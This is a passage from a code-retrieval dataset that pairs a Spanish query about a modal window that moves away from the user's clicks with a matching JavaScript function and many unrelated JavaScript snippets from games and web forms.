break;\\n\\t case GET_DATA:\\n\\t this.getData();\\n\\t break;\\n\\t default: // `INFLATING`\\n\\t this._loop = false;\\n\\t }\\n\\t }\\n\\t }\",\n \"function myLoop () { // create a loop function\\n setTimeout(function () { // call a 3s setTimeout when the loop is called\\n console.log('hello'); // your code here\\n i++; // increment the counter\\n if (i < 10) { // if the counter < 10, call the loop function\\n myLoop(); // .. again which will trigger another \\n } // .. setTimeout()\\n }, 1000)\\n}\",\n \"_stopLoop() { this._isRunning = false; }\",\n \"function loop_over() {\\n\\t\\n\\t\\tif(finished) { // konec\\n\\t\\t\\tcount_result();\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\t\\t\\n\\t\\t$('#arrow').css({\\\"display\\\":\\\"none\\\"});\\n\\t\\tdir = range(37,40); // vygeneruj smer sipky\\n\\t\\t\\n\\t\\tif(dir == 38)\\n\\t\\t\\t$('#arrow').text(\\\"↑\\\");\\n\\t\\telse if(dir == 37)\\n\\t\\t\\t$('#arrow').text(\\\"←\\\");\\n\\t\\telse if(dir == 40)\\n\\t\\t\\t$('#arrow').text(\\\"↓\\\");\\n\\t\\telse\\n\\t\\t\\t$('#arrow').text(\\\"→\\\");\\n\\n\\t\\tsetTimeout(function() {\\n\\t\\t\\t$('#arrow').css({\\\"display\\\":\\\"block\\\"});\\n\\t\\t\\tloop();\\n\\t\\t},0);\\n\\t}\",\n \"function printWithWhile(){\\n\\tvar printwhile = 2000;\\n\\n\\twhile(printwhile <= 5280){\\n\\t\\tconsole.log(printwhile);\\n\\t\\tprintwhile++;\\n\\t}\\n\\n}\",\n \"function TaskLoop() {\\n\\t\\n}\",\n \"function mainLoop()\\n {\\n\\t\\tmainLoopCounter++;\\n if (Graph.instance.nodes.get(state.sourceId).b == 0) {\\n state.current_step = STEP_FINISHED; //so that we display finished, not mainloop when done\\n that.stopFastForward();\\n \\n logger.log(\\\"Finished with a min cost of \\\"+ minCost);\\n\\n }\\n else\\n {\\n logger.log(\\\"Not finished, starting search for augmentation cycle \\\");\\n state.show_residual_graph = true;\\n state.current_step = STEP_FINDSHORTESTPATH; \\n\\t\\t\\n }\\n }\",\n \"function mainLoop () {\\n // Hard coded insturction count that each loop runs.\\n let insCount = 5\\n c8.DELAY = Math.max(0, c8.DELAY - 1)\\n while (insCount > 0) {\\n const { MEM, PC } = c8\\n // Move instruction offset.\\n const ins = getIns(MEM[PC] << 8 | MEM[PC + 1])\\n try {\\n // Perform operation according to instruction.\\n ops[ins[0]](ins, c8, view)\\n } catch (err) { warning(err, ins, c8) }\\n insCount--\\n }\\n window.requestAnimationFrame(mainLoop)\\n }\",\n \"function mainLoop() {\\n // check if the user is drawing and emit xy coords to be pushed into line history on the back end\\n if (mouse.click && mouse.move && mouse.pos_prev) {\\n // send line to to the server\\n client.emit('draw_line', { line: [mouse.pos, mouse.pos_prev] });\\n mouse.move = false;\\n }\\n if (erase) { //user1 erases -> server gets message -> updates client state for all users\\n client.emit('erase_board', { message: 'Client to server: User x erased the board' });\\n erase = false;\\n }\\n //if not drawing, assign values to pos_prev to begin the drawing process\\n mouse.pos_prev = { x: mouse.pos.x, y: mouse.pos.y };\\n setTimeout(mainLoop, 25); //recursive loop every 25ms\\n }\",\n \"loop() {\\n\\t\\tif( game.paused ) {\\n\\t\\t\\tdisplay.clearScreen();\\n\\t\\t\\tgame.draw();\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\n\\t\\tif( !game.nc || ( game.nc && display.frame % 3 === 0 ) ) {\\n\\t\\t\\tgame.update();\\n\\t\\t\\tdisplay.clearScreen();\\n\\t\\t\\tgame.draw();\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t}\",\n \"loop() {\\r\\n\\t\\t\\tthis.looping = true;\\r\\n\\t\\t\\tthis.playing = true;\\r\\n\\t\\t}\",\n \"function alive()\\n{\\n\\tconsole.log(\\\"Loop\\\");\\n\\tswitch(state)\\n\\t{\\n\\t\\tcase 0:\\n\\t\\t\\tconsole.log(\\\"Stopped\\\");\\n\\t\\t\\t//stop();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 1:\\n\\t\\t\\tif (busy == 0)\\n\\t\\t\\t{\\n\\t\\t\\t\\tconsole.log(\\\"Swimming\\\");\\n\\t\\t\\t\\tswim();\\n\\t\\t\\t}\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 2:\\n\\t\\t\\t//NOT Implemented\\n\\t\\t\\tfollow();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 3:\\n\\t\\t\\t//NOT Implemented\\n\\t\\t\\tavoid();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 4:\\n\\t\\t\\t//NOT Implemented\\n\\t\\t\\tfeed();\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tcase 5:\\n\\t\\t\\t//DoNothingCozManual!!!!\\n\\t\\tbreak;\\n\\t\\t\\n\\t\\tdefault:\\n\\t\\t\\tstate = 1;\\n\\t}\\n}\",\n \"function mainLoop() {\\n\\n\\t\\tvar timeChecker = setInterval(function() {\\n\\n\\t\\t\\tstate.videoPlayer.update();\\n\\t\\t\\t// Forced update of time. Required for Safari.\\n\\t\\t\\ttime = state.videoPlayer.currentTime;\\n\\n\\t\\t\\t// console.log('time:', time);\\n\\t\\t\\t_.each(popUpProblemTimer, function(obj) {\\n\\t\\t\\t\\tif (time >= obj.start && time < obj.end) {\\n\\t\\t\\t\\t\\t// console.log(obj);\\n\\t\\t\\t\\t\\tvideoActions.actionFunction(time, obj);\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tvideoActions.actionFunction(time, null);\\n\\t\\t\\t\\t}\\n\\t\\t\\t})\\n\\t\\t}, 500);\\n\\n\\t}\",\n \"function loopArticles() {\\n if (onAutoLooping) {\\n loop_interval = setInterval(nextArticle, settings.interval);\\n isLooping = true;\\n }\\n }\",\n \"function startLoop() {\\r\\n document.getElementById('tagtitle').innerHTML=title[currentTitle];\\r\\n x= description[currentTitle];\\r\\n // alert(x);\\r\\n if(myInterval > 0) clearInterval(myInterval); // stop\\r\\n myInterval = setInterval( \\\"changeContent()\\\", iFrequency ); // run\\r\\n }\",\n \"function ciblerMonstre(){\\n choisie=false;\\n while (choisie=false){\\n butGob.onclick= function(){\\n cibleMonstre=\\\"Gobelin\\\";\\n vieMonCible=vieGob;\\n choisie=true;\\n }\\n butDef.onclick= function(){\\n cibleMonstre=\\\"Dragon\\\";\\n vieMonCible=vieDra;\\n choisie=true;\\n }\\n butSpe.onclick= function(){\\n cibleMonstre=\\\"Fantôme\\\";\\n vieMonCible=vieFan;\\n choisie=true;\\n }\\n }\\n}\",\n \"function myLoop() { // create a loop function\\n setTimeout(function () { // call a 3s setTimeout when the loop is called\\n console.log(globulCounter); // your code here\\n\\n if (globulCounter < stockArrayBy80.length) { // if the counter < 10, call the loop function\\n getStockAllPriceGoogle(stockArrayBy80[globulCounter]);\\n myLoop(); // .. again which will trigger another\\n } // .. setTimeout()\\n globulCounter++; // increment the counter\\n }, 3000)\\n}\",\n \"function loopMain() {\\n if(!lock && !animation1 && !animation2){\\n lock = true;\\n $.get(\\\"phps/refreshlugares.php\\\",function(responseText,status){\\n try{\\n if(status==\\\"success\\\"){\\n res = JSON.parse(responseText);\\n res.forEach(function (lugar) {\\n switch (lugar.idLugares) {\\n case \\\"1\\\":\\n if(ocupado1!=parseInt(lugar.ocupado))\\n ocupar1();\\n break;\\n case \\\"2\\\":\\n if(ocupado2!=parseInt(lugar.ocupado))\\n ocupar2();\\n break;\\n }\\n });\\n }else{\\n alert(status);\\n }\\n }catch(e){\\n alert(e);\\n }\\n lock = false;\\n });\\n }\\n}\",\n \"function veggieWhileLooper( veggies ) {\\r\\n\\r\\n var i = 0;\\r\\n\\r\\n while ( i < veggies.length ) {\\r\\n\\r\\n console.log( myVeggies[i] );\\r\\n i++;\\r\\n }\\r\\n}\",\n \"function countdown(num){\\r\\n\\r\\n while(num > 1)\\r\\n{\\r\\n console.log(num);\\r\\n num = num - 4;\\r\\n}\\r\\n\\r\\n}\",\n \"function Steady() {\\n// var i;\\n// for (i = 0; i<4; i++) {} => Boucle servant dans le cas où l'on veut ajouter 4 cartes de suite pour la banque\\n while (bank_score[0] < player_score[0]) {\\n var para = document.getElementById('BC');\\n var img = document.createElement('img');\\n var path = randomOne(bank_score, bank_cards, \\\"texte1\\\");\\n img.src = path;\\n para.appendChild(img);\\n }\\n Score_Text_Display(bank_score,player_score);\\n}\",\n \"startLoop () {\\n this._loop = true;\\n\\n do {\\n switch (this._state) {\\n case GET_INFO:\\n this.getInfo();\\n break;\\n case GET_PAYLOAD_LENGTH_16:\\n this.getPayloadLength16();\\n break;\\n case GET_PAYLOAD_LENGTH_64:\\n this.getPayloadLength64();\\n break;\\n case GET_MASK:\\n this.getMask();\\n break;\\n case GET_DATA:\\n this.getData();\\n break;\\n default: // `INFLATING`\\n this._loop = false;\\n }\\n } while (this._loop);\\n }\",\n \"agregarNuevo(){\\n let esta = false;\\n let cont = 0;\\n \\n while(!esta){\\n cont++;\\n const fil = Math.floor(Math.random() * this.size);\\n const col = Math.floor(Math.random() * this.size);\\n\\n if(this.getCelda(fil,col)==null){\\n esta = true;\\n const val = Math.floor(Math.random() * 6)+1;\\n if(val>=0 && val<5)\\n this.setCeldaEfecto(2,fil,col); // 3 chances de 4 de que toque 2\\n else\\n this.setCeldaEfecto(4,fil,col); // 3 chances de 4 de que toque 4\\n }\\n\\n //conta\\n if(cont==1000) esta = true;\\n\\n }\\n\\n }\",\n \"function meshLoop(self)\\n{\\n debug(\\\"MESHA\\\")\\n meshReap(self);\\n meshSeen(self);\\n meshElect(self);\\n meshPing(self);\\n debug(\\\"MESHZ\\\")\\n setTimeout(function(){meshLoop(self)}, 25*1000);\\n}\",\n \"startLoop () {\\n this._loop = true;\\n\\n while (this._loop) {\\n switch (this._state) {\\n case GET_INFO:\\n this.getInfo();\\n break;\\n case GET_PAYLOAD_LENGTH_16:\\n this.getPayloadLength16();\\n break;\\n case GET_PAYLOAD_LENGTH_64:\\n this.getPayloadLength64();\\n break;\\n case GET_MASK:\\n this.getMask();\\n break;\\n case GET_DATA:\\n this.getData();\\n break;\\n default: // `INFLATING`\\n this._loop = false;\\n }\\n }\\n }\",\n \"function executeAll() {\\r\\n //wykonaj wszystkie kroki do konca\\r\\n while (!finished) processStep();\\r\\n prepareScreen5();\\r\\n}\",\n \"function game_loop()\\n{\\n\\t// If frog made it across safely\\n\\tif(frog.lane == 0 && is_safe_cross()) {\\t\\n\\t\\tcrossed_safely();\\n\\t}\\n\\t\\n\\t// If frog is dead\\n\\tif(is_collision() || is_in_water() || is_out_of_bounds() || is_out_of_time() || !is_safe_cross() ) {\\n\\t\\tlives--;\\n\\t\\treset_frog();\\n\\t} \\n\\n\\t// If player has zero frogs left (aka game over)\\n\\tif(lives == 0) {\\n\\t\\tgame_over();\\n\\t}\\n}\",\n \"async function imagerollFunction() {\\n while (counter < imageArray.length && roll) {\\n image.src = imageArray[counter][0];\\n image.alt = imageArray[counter][1];\\n p.innerText = imageArray[counter][1];\\n counter++;\\n await sleep(4000);\\n }\\n}\",\n \"function credits_loop() {\\n \\t\\tdo_fade();\\n \\t\\tdraw_backDrop();\\n \\t\\tdraw_scroller();\\t\\t\\t\\t\\t\\t\\t\\n \\t\\tendScreenTimer--;\\t\\t\\t\\t\\t\\t\\t\\t// Countdown the timer.\\n \\t\\tif (endScreenTimer==0) end();\\t\\t\\t\\t\\t\\t\\t\\t// If it gets to zero, end the credits!\\n \\t\\telse if (creditsLoopOn) requestAnimFrame( credits_loop );\\t// ... otherwise if the demo is continuing, go to the next frame.\\n \\t}\",\n \"function intGoNext(){\\n goNext(0);\\n }\",\n \"async function mainLoop() {\\n\\n\\tdrawBoard(currentlyDisplayedCards);\\n\\twhile (!gameEnded) {\\n\\t\\tlet eventSet = await getEvent(pastEvents);\\n\\t\\tawait handleEvent(eventSet); // handle the event that was just added\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.8160807","0.72183514","0.7165397","0.7162067","0.7156095","0.7156095","0.7044727","0.70299995","0.6846243","0.6711894","0.67076546","0.6599778","0.6598126","0.6598126","0.6571005","0.65352774","0.65262204","0.65159464","0.64951324","0.6481465","0.64783376","0.6473284","0.6438391","0.6430326","0.639981","0.6398046","0.6398046","0.6398046","0.6398046","0.6393591","0.63869596","0.6380344","0.63610125","0.63506585","0.63312525","0.63259953","0.6319324","0.6289687","0.6285144","0.62818795","0.62785584","0.62716115","0.62659293","0.6251036","0.62390774","0.6221712","0.62015903","0.6161554","0.6140686","0.6129205","0.6124348","0.6118781","0.6115037","0.6111677","0.6096505","0.60886776","0.60726875","0.5995147","0.5988208","0.59531593","0.59524","0.59482086","0.5921281","0.5910011","0.590931","0.58867294","0.58782476","0.5871007","0.5864027","0.58625406","0.58618015","0.5859982","0.58347696","0.58102745","0.58041954","0.5793302","0.57902044","0.57886213","0.57851595","0.577214","0.5763079","0.5756939","0.5749172","0.57324266","0.57304627","0.5727801","0.57264566","0.57239676","0.57230157","0.57207936","0.5715495","0.57148415","0.5707496","0.5696988","0.5687366","0.56810415","0.56787235","0.5677128","0.5677077","0.56732804","0.56719077"],"string":"[\n \"0.8160807\",\n \"0.72183514\",\n \"0.7165397\",\n \"0.7162067\",\n \"0.7156095\",\n \"0.7156095\",\n \"0.7044727\",\n \"0.70299995\",\n \"0.6846243\",\n \"0.6711894\",\n \"0.67076546\",\n \"0.6599778\",\n \"0.6598126\",\n \"0.6598126\",\n \"0.6571005\",\n \"0.65352774\",\n \"0.65262204\",\n \"0.65159464\",\n \"0.64951324\",\n \"0.6481465\",\n \"0.64783376\",\n \"0.6473284\",\n \"0.6438391\",\n \"0.6430326\",\n \"0.639981\",\n \"0.6398046\",\n \"0.6398046\",\n \"0.6398046\",\n \"0.6398046\",\n \"0.6393591\",\n \"0.63869596\",\n \"0.6380344\",\n \"0.63610125\",\n \"0.63506585\",\n \"0.63312525\",\n \"0.63259953\",\n \"0.6319324\",\n \"0.6289687\",\n \"0.6285144\",\n \"0.62818795\",\n \"0.62785584\",\n \"0.62716115\",\n \"0.62659293\",\n \"0.6251036\",\n \"0.62390774\",\n \"0.6221712\",\n \"0.62015903\",\n \"0.6161554\",\n \"0.6140686\",\n \"0.6129205\",\n \"0.6124348\",\n \"0.6118781\",\n \"0.6115037\",\n \"0.6111677\",\n \"0.6096505\",\n \"0.60886776\",\n \"0.60726875\",\n \"0.5995147\",\n \"0.5988208\",\n \"0.59531593\",\n \"0.59524\",\n \"0.59482086\",\n \"0.5921281\",\n \"0.5910011\",\n \"0.590931\",\n \"0.58867294\",\n \"0.58782476\",\n \"0.5871007\",\n \"0.5864027\",\n \"0.58625406\",\n \"0.58618015\",\n \"0.5859982\",\n \"0.58347696\",\n \"0.58102745\",\n \"0.58041954\",\n \"0.5793302\",\n \"0.57902044\",\n \"0.57886213\",\n \"0.57851595\",\n \"0.577214\",\n \"0.5763079\",\n \"0.5756939\",\n \"0.5749172\",\n \"0.57324266\",\n \"0.57304627\",\n \"0.5727801\",\n \"0.57264566\",\n \"0.57239676\",\n \"0.57230157\",\n \"0.57207936\",\n \"0.5715495\",\n \"0.57148415\",\n \"0.5707496\",\n \"0.5696988\",\n \"0.5687366\",\n \"0.56810415\",\n \"0.56787235\",\n \"0.5677128\",\n \"0.5677077\",\n \"0.56732804\",\n \"0.56719077\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14,"cells":{"query":{"kind":"string","value":"funcion para que mueva la ventana de sitio y evitar que el usuario click en si"},"document":{"kind":"string","value":"function esquivarUsuario() {\n\n //obtenemos la hora actual\n var ahora = new Date();\n\n //calculamos las nuevas coordenadas\n var x = ahora.getMilliseconds();\n var y = x / 2;\n\n //desplazamos la ventana\n // window.moveTo(x, y);\n\n //movemos el div\n var ventana = document.getElementById('myModal');\n ventana.style.position = \"absolute\";\n ventana.style.left = x + \"px\";\n ventana.style.top = y + \"px\";\n\n\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function ClickGerarElite() {\n GeraElite();\n AtualizaGeral();\n}","function ClickGerarAleatorioElite() {\n GeraAleatorioElite();\n AtualizaGeral();\n}","function ClickHabilidadeEspecial() {\n // TODO da pra melhorar.\n AtualizaGeral();\n}","function ClickGastarFeitico() {\n AtualizaGeral();\n}","function do_click(reserva) {\n\tvar v = document.getElementById(reserva);\n\tif (v.alt != 2) {\n\t\tif (fila == 0) { // Comprobacion de que es la primera fila que se\n\t\t\t\t\t\t\t// escoje\n\t\t\tfila = parseInt(reserva / 100);\n\t\t\tif (v.alt == 0) {\n\t\t\t\tv.src = 'images/butacas/iconoLibre.ico';\n\t\t\t\tv.alt = 1;\n\t\t\t\tsetSeat(reserva);\n\t\t\t} else if (v.alt == 1) {\n\t\t\t\tv.src = 'images/butacas/iconoElegido.ico';\n\t\t\t\tv.alt = 0;\n\t\t\t\tdeleteSeat(reserva);\n\t\t\t}\n\t\t} else if (parseInt(reserva / 100) == fila) {\n\t\t\tif (v.alt == 0) {\n\t\t\t\tif (contador < 10) {\n\t\t\t\t\tv.src = 'images/butacas/iconoLibre.ico';\n\t\t\t\t\tv.alt = 1;\n\t\t\t\t\tsetSeat(reserva);\n\t\t\t\t} else\n\t\t\t\t\talert(\"No se puede comprar mas de 10 entradas\");\n\t\t\t} else if (v.alt == 1) {\n\t\t\t\tv.src = 'images/butacas/iconoElegido.ico';\n\t\t\t\tv.alt = 0;\n\t\t\t\tdeleteSeat(reserva);\n\t\t\t}\n\t\t} else\n\t\t\talert(\"Las entradas deben pertenecer a la misma fila\");\n\t}\n}","function ClickDescansar(valor) {\n // Cura letal e nao letal.\n EntradasAdicionarFerimentos(-PersonagemNivel(), false);\n EntradasAdicionarFerimentos(-PersonagemNivel(), true);\n EntradasRenovaSlotsFeiticos();\n AtualizaGeralSemLerEntradas();\n AtualizaGeral();\n}","function ClickGerarPontosDeVida(modo) {\n GeraPontosDeVida(modo);\n AtualizaGeral();\n}","function asignarEventos() {\n _.click(function() {\n\n });\n}","function calificar(){\n//comprobar si ya está vinculado para abrir una pagina emergente y un menú para seleccionar la ruta a calificar\n//if(vincular()=true)\n//open window\n//Al dar clic en el boton de calificar se debe cerrar la ventana emergente y mandar calificacion\n//\n}","function onClick(e) {\n let cantSalvo = tableroSalvo.querySelectorAll(\".active\").length;\n let ajeno = tableroNaves.querySelectorAll(\".hit\").length + tableroNaves.querySelectorAll(\".fail\").length;\n let propio = tableroSalvo.querySelectorAll(\".hit\").length + tableroSalvo.querySelectorAll(\".fail\").length;\n\n if(e.target.classList.contains(\"active\")) {\n e.target.classList.remove(\"active\");\n cantSalvo--;\n } else if(cantSalvo < 5) {\n e.target.classList.add(\"active\");\n cantSalvo++;\n }\n\n if (cantSalvo < 5 || app.turnos(propio, ajeno)) {\n document.querySelector(\".btnShot\").setAttribute(\"disabled\", \"true\");\n } else {\n document.querySelector(\".btnShot\").removeAttribute(\"disabled\");\n }\n}","function ClickEstilo(nome_estilo, id_select_secundario) {\n var select_secundario = Dom(id_select_secundario);\n if (nome_estilo == 'uma_arma' || nome_estilo == 'arma_escudo' || nome_estilo == 'arma_dupla' || nome_estilo == 'rajada' || nome_estilo == 'tiro_rapido') {\n select_secundario.disabled = true;\n } else if (nome_estilo == 'duas_armas') {\n select_secundario.disabled = false;\n } else {\n Mensagem(Traduz('Nome de estilo invalido') + ': ' + Traduz(nome_estilo));\n }\n AtualizaGeral();\n}","function ClickGerarComum() {\n GeraComum();\n AtualizaGeral();\n}","function logo_click() {\n if (pasos.paso1.aseguradoraSeleccionada != null && pasos.paso1.aseguradoraSeleccionada.id == pasos.paso1.listaAseguradoras[$(this).index()].id) {\n componentes.progreso.porcentaje = 0;\n componentes.progreso.barra.css({width: '0px'});\n pasos.paso1.aseguradoraSeleccionada = null;\n $(this).removeClass(\"seleccionada\");\n componentes.pasos.paso1.numero_siniestro.prop('readonly', true);\n } else {\n if (pasos.paso1.aseguradoraSeleccionada == null) {\n componentes.progreso.porcentaje = 5;\n componentes.progreso.barra.css({width: '5%'});\n }\n pasos.paso1.aseguradoraSeleccionada = pasos.paso1.listaAseguradoras[$(this).index()];\n $.get('http://localhost:8080/ReForms_Provider/wr/perito/buscarPeritoPorAseguradora/' + pasos.paso1.aseguradoraSeleccionada.id, respuesta_buscarPeritoPorAseguradora, 'json');\n $(this).siblings(\".seleccionada\").removeClass(\"seleccionada\");\n $(this).addClass(\"seleccionada\");\n componentes.pasos.paso1.numero_siniestro.prop('readonly', false);\n }\n componentes.pasos.paso1.numero_siniestro.val('').focus();\n componentes.pasos.paso1.numero_siniestro.keyup();\n }","function tzimhoniClick()\n\t\t{\n\t\tif (tzimhoniClickStatus==true){\n\t\t\tthis.instruction_txt.text=\"לחץ על רכיב שתרצה לדעת עליו יותר\";\n\t\t\tthis.tivoni_fade.visible=1;\n\t\t\tthis.heraion_fade.visible=1;\n\t\t\tthis.kasher_fade.visible=1;\n\t\t\tthis.tzimhoni_fade.visible=0;\n\t\t\ttzimhoniClickStatus=false;\n\t\t\ttivoniClickStatus=true;\n\t\t\tkasherClickStatus=true;\n\t\t\theraionClickStatus=true;\n\t\t\tthis.tamago.alpha=1;\n\t\t\tthis.tivoni.mouseEnabled=false;\n\t\t\tthis.heraion.mouseEnabled=false;\n\t\t\tthis.kasher.mouseEnabled=false;\n\t\t\tthis.unagi.mouseEnabled=false;\n\t\t\tthis.tobiko.mouseEnabled=false;\n\t\t\tthis.tuna.mouseEnabled=false;\n\t\t\tthis.surimi.mouseEnabled=false;\n\t\t\tthis.palamida.mouseEnabled=false;\n\t\t\tthis.salmon.mouseEnabled=false;\n\t\t\tthis.skin.mouseEnabled=false;\n\t\t\tthis.ekora.mouseEnabled=false;\n\t\t}\n\t\telse{\n\t\t\tthis.instruction_txt.text=\"לחץ לבחירת המאפיין\";\n\t\t\tthis.tivoni_fade.visible=0;\n\t\t\tthis.heraion_fade.visible=0;\n\t\t\tthis.kasher_fade.visible=0;\n\t\t\tthis.tzimhoni_fade.visible=0;\n\t\t\ttzimhoniClickStatus=true;\n\t\t\ttivoniClickStatus=true;\n\t\t\tkasherClickStatus=true;\n\t\t\theraionClickStatus=true;\n\t\t\tthis.tivoni.mouseEnabled=true;\n\t\t\tthis.heraion.mouseEnabled=true;\n\t\t\tthis.kasher.mouseEnabled=true;\n\t\t\tthis.unagi.mouseEnabled=true;\n\t\t\tthis.tobiko.mouseEnabled=true;\n\t\t\tthis.tuna.mouseEnabled=true;\n\t\t\tthis.surimi.mouseEnabled=true;\n\t\t\tthis.palamida.mouseEnabled=true;\n\t\t\tthis.salmon.mouseEnabled=true;\n\t\t\tthis.skin.mouseEnabled=true;\n\t\t\tthis.ekora.mouseEnabled=true;\n\t\t}\n\t\t\n\t\t}","function avvisaUtente() { // senza argomento\n alert('Ciao utente, ti sto avvisando');\n}","function click(cuadrado) {\n\n // Función que nos permite activar el timer\n function activaTiempo(){\n tiempoJuego = setInterval(actualizaTiempo, 1000)\n tiempoActivo = true\n }\n \n // obtenemos el id del cuadrado\n let idActual = cuadrado.id\n // Si el tiempo no ha sido activado lo activamos\n if (!tiempoActivo) activaTiempo()\n // Si el juego ya ha terminado nos salimos\n if (juegoAcabado) return\n // Si el cuadrado ha sido chequeado o contiene una bandera nos salimos\n if (cuadrado.classList.contains('chequeado') || cuadrado.classList.contains('bandera')) return\n // Si contiene una bomba simplemente acaba el juego\n if (cuadrado.classList.contains('bomba')) {\n gameOver(cuadrado)\n } \n // En caso contrario lo descubrimos y colocamos el valor que contiene en el data que sera visible\n else {\n let total = cuadrado.getAttribute('data')\n if (total !=0) {\n cuadrado.classList.add('chequeado')\n if (total == 1) cuadrado.classList.add('uno')\n if (total == 2) cuadrado.classList.add('dos')\n if (total == 3) cuadrado.classList.add('tres')\n if (total == 4) cuadrado.classList.add('cuatro')\n if (total == 5) cuadrado.classList.add('cinco')\n if (total == 6) cuadrado.classList.add('seis')\n if (total == 7) cuadrado.classList.add('siete')\n if (total == 8) cuadrado.classList.add('ocho')\n cuadrado.innerHTML = total\n return\n }\n // Solo llegamos a este caso si el cuadrado es un cuadrado que permite expandirse \n chequeaCuadrado(cuadrado, idActual)\n }\n cuadrado.classList.add('chequeado')\n}","function escucha_users(){\n\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\n\tse muestra en la pag users.php*/\n\tvar x=document.getElementsByTagName(\"article\");/*selecciono todos los usuarios ya qye se encuentran\n\tdentro de article*/\n\tfor(var z=0; z #user\");\n if(localStorage.getItem(\"user\")){\n btn.onclick = (e)=>{\n if(localStorage.getItem(\"user\")){\n location.replace(\"/login/informacioncuenta\");\n }else{\n urlCreateAccount();\n }\n }\n }else{\n urlCreateAccount();\n }\n}","function ClickDesfazer() {\n gEntradas = JSON.parse(gEstado.Restaura());\n AtualizaGeralSemLerEntradas();\n}","function ClickVisao(modo) {\n // Loop para esconder tudo.\n for (var j = 0; j < tabelas_visoes[modo].esconder.classes.length; ++j) {\n var divs_esconder = DomsPorClasse(tabelas_visoes[modo].esconder.classes[j]);\n for (var i = 0; i < divs_esconder.length; ++i) {\n divs_esconder[i].style.display = 'none';\n }\n }\n for (var i = 0; i < tabelas_visoes[modo].esconder.elementos.length; ++i) {\n var divs_combate = Dom(tabelas_visoes[modo].esconder.elementos[i]);\n divs_combate.style.display = 'none';\n }\n // Loop para mostrar.\n for (var j = 0; j < tabelas_visoes[modo].mostrar.classes.length; ++j) {\n var divs_mostrar = DomsPorClasse(tabelas_visoes[modo].mostrar.classes[j]);\n for (var i = 0; i < divs_mostrar.length; ++i) {\n divs_mostrar[i].style.display = 'block';\n }\n }\n for (var i = 0; i < tabelas_visoes[modo].mostrar.elementos.length; ++i) {\n var divs_combate = Dom(tabelas_visoes[modo].mostrar.elementos[i]);\n divs_combate.style.display = 'block';\n }\n gEntradas.modo_visao = modo;\n AtualizaGeralSemLerEntradas();\n}","function verify() {\n //verifica en que pagina se encuentra, dependiendo de la pagina, su respectiva verificacion\n\n\n\n $(\"#altaProductoBoton\").on(\"click\", verificarAltaProducto);\n $(\"#altaCategoriaBoton\").on(\"click\", verificarAltaCategoria);\n $(\"#bajaProductoBoton\").on(\"click\", verificarBajaProducto);\n $(\"#modificarproductoBoton\").on(\"click\", verficiarModificarProducto);\n $(\"#modificarProductoConfirmBoton\").on(\"click\", verficiarModificarConfirmProducto);\n\n\n}","function clickAssess() {\n\t$.trigger(\"clickAssess\");\n}","siguienteNivel() {\n this.subNivel = 0;\n this.iluminarSecuencia();\n this.agregarEventosClick();\n }","function ClickSalvar() {\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\n var nome = gPersonagem.nome.length > 0 ? gPersonagem.nome : 'saved_entradas';\n if (nome == '--') {\n Mensagem('Nome \"--\" não é válido.');\n return;\n }\n HabilitaOverlay();\n SalvaNoArmazem(nome, JSON.stringify(gEntradas), function() {\n CarregaPersonagens();\n DesabilitaOverlay();\n Mensagem(Traduz('Personagem') + ' \"' + nome + '\" ' + Traduz('salvo com sucesso.'));\n });\n}","function ClickVisualizacaoModoMestre() {\n gEntradas.modo_mestre = Dom('input-modo-mestre').checked;\n AtualizaGeralSemLerEntradas();\n}","function checkUser(){\n //console.log('check user started');\n cumputerTurn = false;\n if(userClicked == true){\n \n }\n}","function ClickAdicionarEscudo() {\n gEntradas.escudos.push({ chave: 'nenhum', obra_prima: false, bonus: 0 });\n AtualizaGeralSemLerEntradas();\n}","function clickEnCasilla(x, y) {\n if (miPartida.tableroGirado) {\n x = 7 - x;\n y = 7 - y;\n }\n\n let blanca = esBlanca(miPartida.tablero[x][y]);\n let negra = esNegra(miPartida.tablero[x][y]);\n\n if (!miPartida.hayPiezaSelec) {\n if (miPartida.turno && blanca || !miPartida.turno && negra)\n realizarSeleccionPieza(x, y);\n } else {\n if (esMovValido(x, y)) {\n if (siPeonPromociona(x))\n modalPromocionPeon(x, y);\n else {\n enviarMovimiento(x, y, null);\n realizarMovimientoYComprobaciones(x, y, false);\n }\n } else {\n // Si la pieza pulsada no es la que estaba seleccionada, selecciono la nueva\n if (x !== miPartida.piezaSelec.x || y !== miPartida.piezaSelec.y) {\n // Compruebo que este pulsando una pieza y que sea de mi color\n if (miPartida.turno && blanca || !miPartida.turno && negra) {\n eliminarEstiloMovPosibles();\n realizarSeleccionPieza(x, y);\n }\n } else { // Si la pieza pulsada es la que estaba seleccionada, la deselecciono\n eliminarEstiloMovPosibles();\n deseleccionarPieza();\n }\n }\n }\n}","function iniciar() {\n cuerpoTablaUsuario = document.getElementById('cuerpoTablaUsuario'); \n divRespuesta = document.getElementById('divRespuesta');\n var botonAlta = document.getElementById('botonAlta');\n botonAlta.addEventListener('click', altaUsuario); \n}","function IniciarEventos(){\n\t$('#guardar').click(guardardatos)\n\t$('#cancelar').click(function(){window.history.back()})\n\tshowmessage()\n}","function escucha_Permisos(){\n\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\n\tse muestra en la pag users.php*/\n\tvar x=document.getElementsByClassName(\"work_data\");/*selecciono todos los usuarios ya qye se encuentran\n\tdentro de article*/\n\tfor(var z=0; z= 620 && mouseY <= 720 && mouseX >= 1040 && mouseX <= 1280) {\n aanvalActie = false;\n aanvalKnopStatus = false;\n beweegActie = false;\n beweegKnopStatus = false;\n beurtVeranderen();\n veranderKleur(donkerblauw,wit);\n 